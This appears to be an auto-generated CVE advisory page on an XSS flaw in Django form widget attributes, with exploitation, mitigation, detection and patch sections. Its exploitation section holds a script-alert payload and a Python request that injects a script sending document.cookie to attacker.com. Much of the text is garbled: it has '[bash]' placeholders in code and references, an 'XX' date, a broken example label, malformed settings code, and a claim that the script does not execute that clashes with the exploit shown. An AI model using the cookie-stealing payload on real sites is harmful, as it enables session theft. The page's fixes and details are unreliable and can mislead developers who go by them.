How the CVE Works
The vulnerability occurs when user-supplied values passed to form widget attributes (e.g., label_field) are not properly escaped. Malicious input containing HTML/JS tokens (<, >, <script>) is rendered as raw HTML in the browser. For example, a label like `”Test User “` is partially rendered, displaying `”Test User “` visibly while embedding the script tag in the DOM. Though the script doesn’t execute immediately, the improper sanitization opens risks like code injection or layout disruption, especially when displaying valid characters (e.g., email formats "User <[email protected]>").
DailyCVE Form
Platform: Django
Version: <5.3.3
Vulnerability: XSS
Severity: Low
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Payload Example:
<script>alert(document.cookie)</script>
2. Exploit via Form Submission:
Malicious form submission
payload = {"label_field": "<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>"}
requests.post("https://victim.com/form", data=payload)
Mitigation:
1. Update Django:
pip install --upgrade django==5.3.3
2. Manual Sanitization (Temporary Fix):
from django.utils.html import escape safe_label = escape(user_input)
3. CSP Header (Defense-in-Depth):
settings.py CSP_DEFAULT_SRC = [bash]
Detection:
1. Check Rendered HTML:
curl https://victim.com/form | grep "<script>"
2. Automated Scanning (OWASP ZAP):
zap-cli quick-scan -s xss https://victim.com
Code Fix (Patch):
Before (Vulnerable) widget.attrs[bash] = user_input After (Fixed) from django.utils.html import escape widget.attrs[bash] = escape(user_input)
Impact Analysis:
- Low Severity: No immediate RCE, but potential for DOM-based XSS if combined with other flaws.
- False Positives: Legitimate use of
</>(e.g., emails) may break without escaping.
References:
- Django Security Advisory: [bash]
- OWASP XSS Cheat Sheet: [bash]
References:
Reported By: https://github.com/advisories/GHSA-785h-76cm-cpmf
Extra Source Hub:
Undercode
